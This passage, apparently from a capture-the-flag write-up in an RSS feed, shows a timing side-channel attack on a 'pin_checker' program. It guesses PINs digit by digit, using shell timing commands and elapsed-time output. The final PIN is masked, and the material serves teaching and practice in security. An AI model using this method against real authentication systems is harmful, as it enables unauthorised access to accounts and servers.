&lt;p&gt;If you look carefully, you’ll see that when we sent the PIN &lt;code&gt;40000000&lt;&#x2F;code&gt;, the elapsed time seemed to double. That’s certainly interesting. We know that &lt;code&gt;pin_checker&lt;&#x2F;code&gt; must be checking the PIN code for a valid entry. Maybe it takes longer to verify the PIN when some of the digits are correct? Let’s keep going.&lt;&#x2F;p&gt;
&lt;p&gt;Keeping the first digit as 4, lets check the second digit.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 40000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 41000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 42000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 43000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 44000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 45000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 46000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 47000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 48000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.37&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 49000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We notice that the elapsed time has increased again when sending the PIN &lt;code&gt;48000000&lt;&#x2F;code&gt;. It hasn’t doubled this time, but it has markedly increased while the elapsed time for the others remained the same.&lt;&#x2F;p&gt;
&lt;p&gt;I won’t go through each step here, but each digit can be deduced from the above process. After checking each digit for an increased elapsed time we can find the correct PIN. I’ll leave that up to the reader though =)&lt;&#x2F;p&gt;
&lt;p&gt;Once you determine the correct PIN you can check it against &lt;code&gt;pin_checker&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; XXXXXXXX&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Please enter your 8-digit PIN code:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Checking PIN...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Access granted. You may use your PIN to log into the master server.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</description>
      </item>
    </channel>
</rss>
